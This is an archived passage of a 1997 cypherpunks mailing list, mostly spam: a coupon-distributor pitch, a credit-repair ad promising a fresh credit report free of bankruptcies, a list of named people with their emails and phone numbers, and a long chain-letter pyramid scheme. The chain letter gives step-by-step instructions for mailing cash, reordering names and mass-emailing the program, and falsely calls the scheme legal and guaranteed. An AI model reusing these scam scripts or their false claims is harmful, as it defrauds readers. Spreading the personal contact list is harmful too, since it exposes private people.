value of the certificate. Your working coupons are mailed to you in 10-15 days. IT'S THAT
EASY!

DOUBLE SAVINGS AVAILABLE
If you take your coupons to a store that doubles the face value, your $500 in coupons are worth up
to $1000! All this for a $20 investment.

BECOME A DISTRIBUTOR - MAKE EXTRA MONEY
Once you have purchased your first book, you are entitled to purchase additional certificate books for $5 each (in lots of 10). Sell them to your family, friends or co-workers. Market them using the following methods:
Internet E-Mail
Web Page
Post Flyers at Supermarkets
Run a Classified Ad

If you wish a copy of our Distributor's Marketing Guide, please add $10 to your order. This guide will provide you with sample ads,a brochure and flyers to use to market the coupon books. A simple classified ad in your local newspaper will pull about 5 to 10 sales. Simply send callers a brochure and wait for the order.

To order your grocery coupon book, send $20 ($30 with the Distributor's Marketing Guide) in the form of cash, check or money order to:

Information Highway
PO Box 513
Southampton, PA 18966






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 64355512@nowhere.com
Date: Tue, 29 Jul 1997 19:23:28 -0700 (PDT)
To: success@nowhere.com
Subject: Finally the Answer to LIFE!!  Real Science, NOT FICTION!
Message-ID: <mailhost.att.net>
MIME-Version: 1.0
Content-Type: text/plain


FINALLY, THE ANSWER TO LIFE!!

Science, Not-Fiction

Have you ever pondered any of these questions?

1.What is the origin of life?
2.What is Life?
3.How were we created?
4.What happens when we die?
5.Is there other life out there?
6.Do we ever become immortal?

FOR THE ANSWERS TO THESE QUESTIONS AND MORE, POINT YOUR BROWSER TO

www.wgn.net/~dicewars/

www.wgn.net/~dicewars/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: putpeel2@orbisnet.com
Date: Tue, 29 Jul 1997 23:00:47 -0700 (PDT)
To: putpeel@putpeel.com
Subject: List of P.E.E.L. district managers near you!
Message-ID: <0000000000.AAA000@orbisnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Remove yourself from this list by clicking on reply and typing remove
in the subject line.

This is a list of P.E.E.L. district managers, their city, name, email and 
phone number.  YES! We want to help you build your P.E.E.L. business
in person!

Please read the purpose of district managers, how they can benefit you
as a distributor or factory outlet owner, and company guidelines in the
following Email. 
 
If you are a distributor or factory outlet owner, feel free to contact anyone below. 
All the people on this list are willing to help you build your business, at no cost 
or obligation to you. A district manager is not your boss, they are only here
to help you, if you so choose. This is a service provided by P.E.E.L. 
 
If you are not on this list but want to be, please contact me.  

ATTENTION: Would you like to have a free distributorship selling Earth friendly,
cruelty free products and earn 50% or more to start?

Would you like to have your own store on the internet for only $49.00,
never handle product and have weekly commission checks of 25%?

We have this and a lot more. Please visit our distributor website at
http://www.putpeel.com/distributors

To see how to own your very own store,
http://www.putpeel.com/factory-outlet
 
ARIZONA 
DBMcCLURE@aol.com David B. McClure Chairman & CEO BetaCom Inc. Tuscon AZ 85710 520-751-
8716 fax 752 
 
CALIFORNIA 
BAAB-BAKZ CafeDarci@aol.com Fountain, Carla T. Ripon CA 95366 (209)599-2970A 
 
CONECTICUT 
AAAAK-BAEH cgunt@aol.com Gunther, Claudia Guilford, CT 06437 203-458-8418 
 
FLORIDA 
Wantom@aol.com Probst, William F. (Bill) Jacksonville FL 32225-1888 904 641-0709 Fax:  904 998-9012 
AAAA-BAAB frakam@ix.netcom.com integrated@ix.gen.com Kammerdiener, Francis R. Miami Beach 
FL 33160 (888) 206-8104 (305) 933-2207 Fax(305) 682-0284 
AAAA-BALQ wbroderick@hawk.net Broderick, William Ft. Myers FL 33905 (941)693-5161 
 
INDIANA 
AAAA-BAAK paprwaydtp@aol.com Lemler, Kim Bourbon IN 46504 (219)646-2100 
AAAAK-BAK3 IrishKenn@juno.com McRoden, Kenneth C. Ossian IN 46777 (219) 622-6331  (888)616-
5647 
 
IOWA 
Riveris4U@aol.com Bowers, Kate Prole IA 50229 515 981-1442 
 
MARYLAND 
BABA-BABS OIS@aol.com Wimmer, Karen Baltimore MD 21207 (410)944-7849 
 
MASSACHUSETTS 
AAAA-AAAB, AWOOD@aol.com, Wood, Arthur F. Eddington, MA 04428-9710 (207)843-6020	 
 
MINNESOTA 
AAAB-BAGK karaoke629@aol.com Peterson, David Bloomington MN 55438 (612)941-1025 
 
NEBRASKA 
WigleyK@MindSpring.com Wigley, Kathy Bellevue NE 68123 (402) 682-9069  
 
OHIO 
joneill563@aol.com O'Neill Jr, John 2914 Harkie St. Middletown OH 45044 (513) 423-6558  
 
OREGON 
AAAA-BAJK a-coctoau@aol.com Meyer, Angela Portland OR 97214-4026 (503)239-8087 
 
OKLAHOMA 
AAAA-BAAZ Jump100@aol.com Durbin, Julie Oklahoma City OK 73135 
Still, Terry Tulsa OK 74135 (918) 744-4048. 
 
PENNSYLVANIA 
BAKT-BAKT-BALV kaloftus@epix.net Loftus, Kandis Wilkes-Barre PA 18705 (888)202-1121 
LinkArt@aol.com Begg, Richard Philadelphia PA19131 215-878-8258 215-878-8268 
 
TEXAS 
AAAA-BAEP ANT5LEY@aol.com Antley, Teresa Dickinson TX 77539  281-534-3279 
SNelson140@aol.com Nelson, Lloyd San Jaun TX 78589 956-781-2451 
 
CANADA 
MANITOBA 
wtsvg@mb.sympatico.ca Williams, Sr, Wade Tudor. Winnipeg, Manitoba R3V 1R8 (204) 275 - 7265 
 
 
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Helenius <Tom.Helenius@DataFellows.com>
Date: Wed, 30 Jul 1997 01:54:34 -0700 (PDT)
To: Tom Helenius <Tom.Helenius@DataFellows.com>
Subject: Sorry about accidental spamming
Message-ID: <3.0.32.19970730112207.00a38910@datafellows.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Security Professional,

We apologize for the annoyance and confusion we might have caused to you
due to human error in our email addressing. As a result some of our
internal emails about the newly announced F-Secure VPN v1.1 software were
erroneously emailed to your attention.

It is definitively not our company policy to contribute to spamming on the
Internet, and we do hope that you'll still want to receive the otherwise
unbiased information sent to the members of our press list.

Yours sincerely,

Tom Helenius
Data Fellows

--
Tom.Helenius@DataFellows.com, World-Wide Web http://www.DataFellows.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailhost@aol.com
Date: Sat, 30 Aug 1997 13:30:31 -0700 (PDT)
To: credaide@57788epaircred.com
Subject: Your Credit Report
Message-ID: <32009586374.JJX09264@577488fixcredit.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
    *AS SEEN ON TV * AS SEEN ON TV * AS SEEN ON TV* AS SEEN ON TV*
//////////////////////////////////////////////////////////////////////

If you received this electronic mailing by mistake, please pardon our intrusion.

Dear Friend,

Are you or somebody that you know experiencing credit problems?  If your answer is yes, I think you will be very interested in our special offer. No longer will you have to live like a second class citizen due to a bad credit report. Bad credit is caused by a variety of reasons:  Health, divorce, termination of employment, loss of income and dozens of other reasons. The bottom line is that bad credit can happen to anybody.  There is no specific profile of a person with credit problems. It can happen to doctors, lawyers, accountants, the mail man, truck drivers, housekeepers and salesmen. As a matter of fact, one in three Americans live with some form of bad credit. Fortunately, the United States Government has passed many laws under the Fair Credit Reporting Act, all of which protect your rights as a consumer. Our manuals will show you how to use these Federal laws to your advantage and repair or obtain a new credit report.

            ***** THE FRESH START PROGRAM (TM) *****

Have you seen your credit bureau report lately?  Have you recently been denied credit because of a bad cedit report? If you have answered yes, then you need to take advantage of THE FRESH START PROGRAM (TM). THE FRESH START PROGRAM (TM) will guide you through the process of obtaining a BRAND NEW credit bureau report. Our easy-to-follow manual will put you on the fast track to obtaining your new credit bureau report and can be accomplished within 24 hours! Regardless of your credit rating, you can NOW obtain a brand new, fresh credit bureau report free of:

		*  ANY bad credit
		*  Bankruptcies
		*  Judgements
		*  Foreclosures
		*  Charge-Off's
		*  Tax Lien's
		*  Repossessions
		*  Late pays
		*  Garnishments
		*  Inquiries

NOW, you can have a 'Clean Slate' and a 'FRESH START' with a brand new, credit bureau report.

//////////////////////////////////////////////////////////////////////

            ***** THE COMPLETE CREDIT REPAIR KIT (TM) *****

Good credit empowers you to qualify for personal loans, business loans, auto loans, credit cards, home loans and other types of credit you may apply for, at the best possible interest rate. As you know, if you don't have excellent credit, lenders will NEVER extend credit to you! The Fair Credit Reporting Act will allow you to legally and permanently ERASE the negative information on your credit bureau file. Anything that is damaging to your credit rating, may be removed:
Inquiries, Foreclosures, Repossessions, Charge-Off's, Late Payments
Student Loans, Bankruptcies and Judgements

The 'Credit Repair' companies located in every city will charge from $500.00 and up to do what our easy-to-follow manual will teach you. Now, in the privacy of your own home, you can repair your own credit at your own pace.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

                        ***** PROOF *****

"Having bad credit was the one thing holding me back from starting my own business. After working your program, I qualified for a $45,000 Small Business Loan. My business is making me more money than I've ever made.  Your program is truly priceless!"
					George S.  -  Fresno, CA.

"Thank you, thank you, thank you!  Before, my credit was totally trashed. After using your Fresh Start Program and using The Complete Credit Repair Kit, my wife and I qualified to purchase our first home with no down payment. These programs are worth thousands of dollars!"
					Kenneth T.  -  Ithica, NY

"After being laid off, my creditors were not very understanding when I couldn't pay my bills and as a result, my credit was very badly damaged.  Once I started working again, I couldn't qualify for any type of credit. After using the manuals, I qualified to buy a new car, with no down payment."
					Mr. Fred C.  -  Tampa, FL

"After my divorce, I was forced to file bankruptcy.  I was told my credit would be ruined for 10 years. After using the your manuals, I have great credit again.  I even receive pre-approved credit cards in the mail. Thank you so much for your amazing program.  I don't know what I could have done without it. I highly recommend your program to anyone who has credit problems."
					Ms. Anna S.  -  Tacoma, WA

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
YOU MAY BE ABLE TO EARN $1,500.00 FOR YOUR TESTIMONIAL ON OUR UPCOMING TV INFOMERCIAL.
DETAILS INCLUDED WITH YOUR ORDER.
//////////////////////////////////////////////////////////////////////

Don't let ANYONE tell you that you can not make the transition from a bad credit risk to that of preferred credit customer. Over 175,000 satisfied customers can't be wrong!  each manual, THE FRESH START PROGRAM (TM) and THE COMPLETE CREDIT REPAIR KIT (TM) is normally $89.95 + $3.95 S&H. However, if you take advantage of this special offer within the NEXT 24 HOURS, you will pay only $34.95 + $3.95 S+H for one program or you can take both programs for $54.95 +$3.95 S&H (U.S. Funds Only).  

To place your order, simply mail the form below, along with your certified check, money order, personal check or cash to:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
I.M.S.
5201 Kingston Pike, Suite 6-216
Knoxville, Tennessee 37919

Yes, please send the manual(s) checked below:

$34.95     THE FRESH START PROGRAM (TM)

$34.95     THE COMPLETE CREDIT REPAIR KIT (TM)		

$54.95     Both Programs				
				
$_____     Sub Total
				
$ 4.95     Shipping and handling
$(15.00)   RUSH Delivery (Optional)

$_____     Total Enclosed

I have enclosed (Check One): 
_____Cashiers Check
_____Money Order
_____Personal Check
_____Cash

SHIPPING INFORMATION:

Name:_________________________________________
Phone:_______--__________--___________________

Physical Street Address (NO P.O. BOXES):_______________________________________

City:______________________ 
State:____   Zip/Postal Code:_________________

Your E-Mail Address (Needed for order confirmation):________________________________

///////////////////////////////////////////////////

SAVE AN ADDITIONAL $5.00!!! FAX YOUR ORDER NOW!!!

Please tape your completed check in the space below and fax it along with your order to IMS.

That facsimile number is 1-423-681-6520 

*************************************************

                                               
  FAX: 1-423-681-6520                         
                                               
  Please Tape Your Check Here                  
                                               
  Please Sign Your check                       
                                               
                                               
*************************************************

Thank You For Your Order-All orders shipped same day.

654657808268556


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <m.pool@pharos.com.au>
Date: Wed, 30 Jul 1997 20:57:41 -0700 (PDT)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301842.LAA16904@kachina.jetcafe.org>
Message-ID: <33E00B8C.7AD8@pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Sandy Harris writes:
> > What this scum is actually upset about is Chris Lewis cancelling
> > spam. He calls that "forgery" because the spammer's name goes
> > in the sender field of the cancel message. Nonsense.
 
> According to RFC 1036 forging cancels for articles that do not
> originate from your news site is not allowed. He is clearly in
> violation of the RFCs. Spam jihads are not sufficient reason
> to ignore internet protocols.
 
  Spamming is a crime (theft of computer resources) and sometimes
such acts may be justifiable self-defense, such as when I steal
from my employer because they don't pay me enough, or when I lie
on my income tax forms because I want to keep my money for myself.

  Just because Chris Lewis has complete disregard for internet
protocol and feels justified in violating the "trust" that others
place in the headers of the email they receive, is no reason to
believe that he should not be "Entrust(ed)" with working in an
area that might affect the security of a large number of people.

-- 
Martin Pool <m.pool@pharos.com.au>
Pharos Business Solutions





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <m.pool@pharos.com.au>
Date: Wed, 30 Jul 1997 18:22:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <19970731012149.1115.qmail@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain


> Date: Wed, 30 Jul 1997 06:46:53 -1000
> From: "Dr. Jai Maharaj" <jai@mantra.com>

> > What this scum is actually upset about is Chris Lewis cancelling
> > spam. He calls that "forgery" because the spammer's name goes
> > in the sender field of the cancel message. Nonsense. . . .
> >  -  Sandy Harris
> 
> Forgery is a crime and such acts are not justified.

Spamming is a crime (theft of computer resources) and sometimes such
acts may be justifiable self-defense.

-- 
Martin Pool <m.pool@pharos.com.au>
Pharos Business Solutions




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "MCE" <MCE@CWNet.com>
Date: Thu, 31 Jul 1997 02:10:12 -0700 (PDT)
To: you@borg.cwnet.com
Subject: KNOCK KNOCK
Message-ID: <199707310857.BAA09811@borg.cwnet.com>
MIME-Version: 1.0
Content-Type: text/plain




I apologize for intruding on your mailbox. No need to respond to a remove list, this is the only email you will receive from me unless I hear
from you. I thought that you might just like to take a look at this  VERY REAL opportunity. If you have no interest in MAKING A LOT OF MONEY
WITH YOUR COMPUTER! Stop now!
    
I only want to provide this special offer to people who know 
there's no such thing as get rich quick! But people who are looking for a 
legitimate honest way to make good money starting today, in exchange for some actual work! If that's who you are, PLEASE READ ON!

AS PART OF MCE MARKETING'S 5.5 MILLION EMAIL ADDRESS PROMOTIONAL GIVEAWAY, I AM GOING TO "GIVE" YOU 25,000 , FRESH, NEW, AND RESPONSIVE EMAIL ADDRESS'S "UNIQUE TO MY INVOLVEMENT IN THE FOLLOWING PROGRAM" AND THE TOOLS TO DELIVER THIS PROGRAM AS SOON AS I
 HEAR FROM YOU!!!!!!!!!!!!!!!!!!!
FREE!!!!!!!!!!!!!!!!!!!!!!!!!!!THATS RIGHT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!FREE!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

THIS IS AN EXCLUSIVE OFFER FROM MCE MARKETING ONLY.
THIS INDEPENDENT  PROMOTION IS NOT A PART OF, OR AN ADDITION TO, THE CONTENTS OF THE FOLLOWING ORIGINAL PROGRAM.

FOR DETAILS ON HOW TO RECEIVE YOUR EMAIL ADDRESS'S AND INSTRUCTIONS  PLEASE READ THROUGH THE FOLLOWING PROGRAM AND THEN RE-READ THE ATTACHED ENDING SECTION TITLED "MCE MARKETING'S 5.5 MILLION EMAIL ADDRESS PROMOTIONAL GIVEAWAY!!!!!!"

THE FOLLOWING IS THE PROGRAM INFORMATION JUST AS I RECEIVED IT, IT HAS CHANGED MY LIFE, IT IS ALSO WHAT YOU NEED
TO SEND OUT -JUST AS IT IS!!!!!! 
IT WORKS!!!!!! 

DON'T CHANGE ANYTHING BELOW THIS LINE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

	The following income opportunity is one that you may be interested 
in taking a REAL CLOSE LOOK at. It can be started with MINIMAL outlay and 
the income is TREMENDOUS!

REALISTICALLY!  YOU are about to make AT LEAST $50,000- in less than 90 days.
PRINT  and READ the enclosed program... THEN READ IT AGAIN!...

THEN READ IT AGAIN!

The enclosed information is something that I almost let slip through my 
fingers. Fortunately, sometime later I re-read everything and gave it some 
thought and study.

TESTIMONIALS:
	
My name is Christopher Erickson. 
	Two years ago, the corporation that I worked at for 12 years
 down-sized and my position was eliminated. After unproductive job interviews, I 
decided to start my own business. Over the past year, I incurred many 
unforeseen financial problems. I owed family, friends and creditors over 
$35,000. The economy was taking its toll on my business and I just couldn't 
seem to make ends meet. I had to refinance and borrow against my home to 
support my family and struggling business. I truly believed that it was wrong
for me in debt like this. AT THAT MOMENT something significant happened in 
my life and I am writing to share my experience in hopes it will change your 
life Financially Forever!!!!!!:).

	I had been sending away for information on various business 
opportunities on the Internet. All of the programs I received, in my opinion 
were not cost effective or simply too complicated for me to understand and 
required too much risk for me to see if they would work out. One claimed to 
make me 1 million bucks in the first year.... it failed to mention that I 
would have to write best selling book to get there!

	In December 1995 I received this program via e-mail. I didn't send 
for it, or ask for it. They just got my name off of a mailing list somewhere.
THANK GOD FOR THAT!!! After reading it several times to make sure I was 
reading it correctly I couldn't believe my eyes. Here was a MONEY MAKING 
PHENOMENON!!! I could invest as much as " wanted to, without going further 
into debt. I got out my calculator and figured out that I would at the very 
LEAST make my money back!!!!!! After confirming that the letter was NOT A 
CHAIN LETTER I decided WHY NOT GO FOR IT!!!!!!!

	 I initially sent out 10,000 emails, it cost me about $15.00 for my 
online time and with e-mail I avoided the cost of printing and stamps!!! 
Only the cost of fulfilling my orders. I'm  telling you like it is! I hope 
it doesn't turn you off, but I promised my self that I would not RIP OFF 
anyone no matter the cost!

	In less than one week I started to receive orders for Report #1. By 
January 13th, I had received 26 orders for Report #1. When you read the 
GUARANTEE in the program you will see that "YOU MUST RECEIVE 15 to 25 
ORDERS FOR REPORT #1 WITHIN 2 WEEKS", IF YOU DON'T, THEN SEND OUT MORE 
PROGRAMS UNTIL YOU DO. My first step in making $50,000 was done. By January 
30th, I had received 136 orders for Report#2. If you go back to the GUARANTEE
, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2  WITHIN 2 WEEKS. IF NOT 
SEND OUT MORE PROGRAMS UNTIL YOU DO! ONCE YOU HAVE 100 ORDERS FOR REPORT #2 
RELAX, THE REST IS EASY, YOU WILL MAKE YOUR $50,000 GOAL. We had 196 orders
 for report #2, 96 more than my goal, so I sat back and relaxed. By March 
19th 1997, of my 10,000 mailing I had received $58,000 with more coming in 
every day.

	I paid off all my debts  and bought myself a much needed new car. 
Please take the time to read the following program, It will change your LIFE 
too. Remember, It wont work, if you don't try it! This program does work but 
you must follow it EXACTLY!, Especially the rules regarding not putting your 
name in a different place on the Reports List. It doesn't work and you'll 
lose out in a lot of money! Report #2 explains this. Always follow the 
guarantee, 15 to 20 orders for Report #1, and 100 or more for Report #2 and 
you will make over $50,000 or more in 20 to 90 days, I AM LIVING PROOF THAT 
IT WORKS!!!

	Sincerely, 
	Christopher Erickson

PS. Do you have any Idea what 11,700 $5.00 bills ($58,000) looks like piled 
up on the kitchen table! It's AWESOME!!!!!!!



"THREW IT AWAY"

"I had received this program before. I threw it away, but later wondered if 
I should have tried it out. Of course I had no idea who to contact for a copy, 
so I waited for another email copy of it. 11 months passed, then it came. 
I didn't throw this one away. I made $41,000 on the first try."

Dawn W. Evansville, IN
- - - - - - - - - - - - - - - - - - - - - - - - - - 
"NO FREE LUNCH"

"My late father always told me, 'Remember Alan, there is no such thing as a 
free lunch in life. You get out of life what you put into it.' Through trial 
and error and a somewhat slow and frustrating start, I finally figured it 
out! IF YOU WORK THIS PROGRAM THIS PROGRAM WILL WORK FOR YOU!!!!!! Once I 
found the right TARGET list the program worked great!
I made over $68,000 using this program. I know my father would be proud of 
me.

Alan B., Philadelphia, Pa.
- - - - - - - - - - - - - - - - - - - - - - - - -
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the 
enclosed program and reports, you should have concluded that such a program 
and one that is legal, could not have been created by an amateur.

	Let me tell you a little about myself. I had a profitable business 
for 10 years. Then in 1979 my business began falling off. I was doing the 
same things that were previously successful for me, but it was not working. 
Finally I figured it out. It wasn't me, it was the economy. Inflation and 
recession had replaced the stable economy that had been with us since 1945. 
I don't have to tell you what happened to the unemployment rate... many of 
you have first hand experience. There were more bankruptcies and business 
failure than ever before. The middle class was vanishing. Those who knew 
what they were doing invested wisely and moved up. Those who didn't, 
including those who never had anything to save or invest,  were moving down 
into the ranks of the poor. As the saying goes "THE RICH GET RICHER AND THE 
POOR GET POORER".  The traditional ways of making money will never allow you 
to "move up" or "get rich", inflation will see to that.

	You have just received information that can give you the financial 
for the rest of your life, with "NO RISK" and "A LITTLE BIT OF EFFORT". 
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor will 
anyone else who has provided a testimonial for this program. I have already 
made over 4 MILLION DOLLARS!!!!! I have Retired form the program after 
sending out 16,000 programs. I have several offices that market this and 
other programs here in the US and overseas. By the spring we hope to market 
the Internet by a partnership with America Online.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It 
works exceedingly well as it is now! Remember to email this program to 
everyone that you can think of. One of the people you email it to might 
send it out to 50,000 or more! And your name will be on all of them! 
Remember, the more you send out the more potential customers you will 
reach!!!

So my friend I have given you ideas, information, materials and opportunity 
to become financially independent. IT'S ALL UP TO YOU NOW!!!!!!!!!!!!
- - - - - - - - - - - - - - - - - - - - - - - -
"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a 
little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure 
out what could happen when YOU participate. Figure out the worst possible 
response and no matter how you figure it you will make a lot of money.! 
Definetly get back what you invest. Any doubts you may have will vanish 
when your first orders come rolling in. "IT WORKS"!!!! !!!! !!!!

Paul Johnson, Raleigh, NC.
- - - - - - - - - - - - - - - - - - - - - - -
"HERE IS HOW THIS AMAZING PROGRAM WILL MAKE YOU MONEY $$$$$$$$"

Lets say that you want to start small, just see how it goes, and we'll assume
that you and all involved send out 2,000 programs each, 
(extremely conservative) Lets assume that the mailing receives a LOW 
response of .5%. A good list will make the response much better! Many people 
will send out hundreds of thousands of programs instead of 2,000.
 But continuing with the example, you send out 2,000 programs. With a .5% 
response, that's only 10 orders for  REPORT#1. Those 10 people send out 
2,000 each, for a total of 20,000, out of those .5% respond. 100 people 
order Report #2. Those 100 mail out 2,000, for a total of 200,000. The .5% 
response for that is 1,000 orders for Report # 3. Those 1,000 send out 
2,000 for a total of 2,000,000. The .5% response to that is 10,000 orders 
for Report#4. That's 10,000 $5 dollar bills to you. CASH!!!!!! Your total 
Income from this program run is $50 +$500+$5000+$50,000 for a grand total of
a totally amazing $55,550.00.!!!!!!!!!!! 

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL 
DO ABSOLUTELY NOTHING.... AND TRASH THIS PROGRAM. DARE TO THINK WHAT MIGHT 
HAPPEN IF EVEN HALF OF THE DOWNLINE DISTRIBUTORS EMAILED 100,000.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY!!!
It does not require that you come in contact with people, do any hard work, 
and best of all, you'll never have to leave the house except to get the mail.
If you believe that one day you are going to get that BIG BREAK, Well HERE 
IT IS!!!!!!. Simply follow the instructions and your financial dreams will 
come true. This Multi level Marketing email order program works perfectly 
100% of the time. Email is the sales tool of the future. Take advantage of 
this non- commercialized advertising medium of advertising NOW!!! The longer
you wait the more people will be doing business using email, Get in on a 
piece of the action!!!!!!!!

MULTI- LEVEL- MARKETING (MLM) has finally gained respectability, It is now 
taught in the Harvard Business School, and both Stanford Research and The 
Wall Street Journal have stated that between 50% and 65% of all goods sold 
will be through MLM by the late 1990's This is a Multi Billion Dollar 
industry and of the 500,000 millionaires in the US, 20% made their fortune 
in the last several years in MLM. Moreover, statistics show that 45 people a 
day become millionaires every day through MLM.
- - - - - - - - - - - - - - - - - - - - - - - 
GETTING STARTED

This is the greatest Mult-level Mail Order Marketing anywhere:

Step(1)
Order all 4 Reports listed by name and number. Do this by ordering the Report
from each of the four (4) names listed below. 
For each Report you will need to send $5 US dollars CASH and a self addressed
stamped envelope (BUSINESS SIZE #10)to the person listed for the SPECIFIC 
REPORT.
International orders: should include an extra $1 US dollar for postage. 
IT IS ESSENTIAL- That you specify the full NAME and NUMBER of the REPORT 
requested to the person you are ordering from.
You will need ALL 4 REPORTS because you will be  REPRINTING and RESELLING 
them.
DO NOT alter the names or sequence other than what the instruction say.
IMPORTANT: ALWAYS provide "SAME DAY" service on all return orders.

REQUIRED REPORTS

*** Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF ADDRESSED STAMPED ENVELOPE AND $5 DOLLARS cash FOR EACH 
ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER

======================================================

REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 

SEND $5.00 CASH AND A SELF ADDRESSED ENVELOPE

TO:

MCE Marketing
P.O. BOX 0647
Folsom , Ca.
95763-0647

======================================================

REPORT#2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT#2 

SEND $5.00 CASH AND SEND  SELF ADDRESSED ENVELOPE 

TO: E. E. KAMPER
10501NW 66TH ST
PARKLAND, FL
33076

======================================================

REPORT#3
"SOURCES OF THE BEST EMAILING LISTS"
ORDER REPORT#3

SEND $5.00 CASH AND A SELF ADDRESSED STAMPED ENVELOPE

TO:
R.M. MILLS
5030 CHAMPION BLVD.
SUITE #6-441
BOCA RATON, FL 
33496	v

======================================================

REPORT#4
"EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT#4 

SEND $5.00 CASH AND A SELF ADDRESSED STAMPED ENVELOPE

TO:

E.H. HARP
10693 WILES RD.
SUITE 303 CORAL SPRINGS, FL
33076

======================================================
VERY IMPORTANT !!!!!!!!!!!!!!!!!!!!!
INSTRUCTIONS WHICH MUST BE FOLLOWED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

DO THE FOLLOWING NUMBERED STEPS ONLY AFTER RECEIVING  ALL (4) REPORTS FROM 
THE ABOVE LISTED DISTRIBUTORS.

STEP (2)
Replace the name and address under REPORT#1 with yours, moving the name and 
address that was there DOWN to REPORT#2.
Drop the previous name and address under REPORT #2 to REPORT#3
Drop the previous name and address under REPORT #3 to REPORT#4
The name and address that was in the REPORT#4 position is now removed from 
the list and discarded, this party is no doubt on the way to the bank!
WHEN YOU ARE DOING THIS MAKE SURE YOU TAKE SPECIAL CARE IN TYPING ALL NAMES 
AND ADDRESSES CORRECTLY.
DON'T MIX UP THE PROCEDURE/REPORT POSITIONS.

STEP(3)
Having made the required changes to this document save it as a text (*.TXT) 
file  in its own directory to  be used with whatever email program you use.
REPORT #3 will tell you the best bulk emailing methods and how to acquire 
email lists.

STEP (4)
Email a copy of the entire program (all of this is very important) to 
everyone's address that you can get your hands on. If you like start with  
friends and relatives since you can encourage them to  take advantage of 
this  fabulous money-making program. READ the FOUR REPORTS for where to get 
email lists. Search the Internet for the best prices.
IMPORTANT: YOU WONT GET A GOOD RESPONSE WITH AN OLD EMAIL LIST. SO, ALWAYS 
REQUEST A FRESH NEW LIST!!!

ALWAYS PROVIDE "SAME DAY" SERVICE ON ALL ORDERS!!!!!!!
- - - - - - - - - - - - - - - - - - - - - - - - - -
CONCLUSION:

I am enjoying the future that I made by sending out this program, You too 
will be making money in 20 to 90 days, if you follow the simple steps 
outlined in this program.

To be financially independent to be FREE!  Free to make financial decisions 
as never before. Go into business, get into investments retire or take a 
vacation. No longer will the lack of money hold you back.

However, very few people reach financial independence, because when 
opportunity knocks, they choose to ignore it. Its much easier to say "NO" 
than "YES", and this is the question that you must answer. Will YOU ignore 
this amazing opportunity or will you take full advantage of it? If you do 
nothing you have indeed missed something and nothing will change. Please 
re-read this material this is a special opportunity. If you have any 
questions regarding this program, please feel free to write the sender of 
this information. You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5.00 that
cost me pennies to produce and email. I should also point out that this 
program is legal and everyone who participates WILL make money.

	This is not a chain letter or pyramid scam. You may have received 
chain letters in the past asking you to send money , on faith, but getting 
nothing in return, NO product whatsoever! Not only are chain letters illegal 
but the risk of someone breaking the chain makes them quite unattractive.

	You are offering a legitimate product to your down line distributors.
 After they purchase from you they reproduce it and sell it to others. Its 
simply free enterprise at its best! As you have learned from the enclosed 
material, the PRODUCT is a series of  4 FINANCIAL AND BUSINESS REPORTS. 

The information contained in these reports will not only help you in making 
your participation in this program more rewarding, but will be useful to you 
in any other business decisions that you make in the years ahead. You are 
also buying the rights to reprint all of the REPORTS, which will be ordered 
from you by those whom you mail this program. The concise one and two page 
REPORTS you will be buying are easily reproduced at a local copier center 
for an average cost of  3 cents a copy. Best wishes with the program and 
good luck!
- - - - - - - - - - - - - - - - - - - - - - - - - - - 
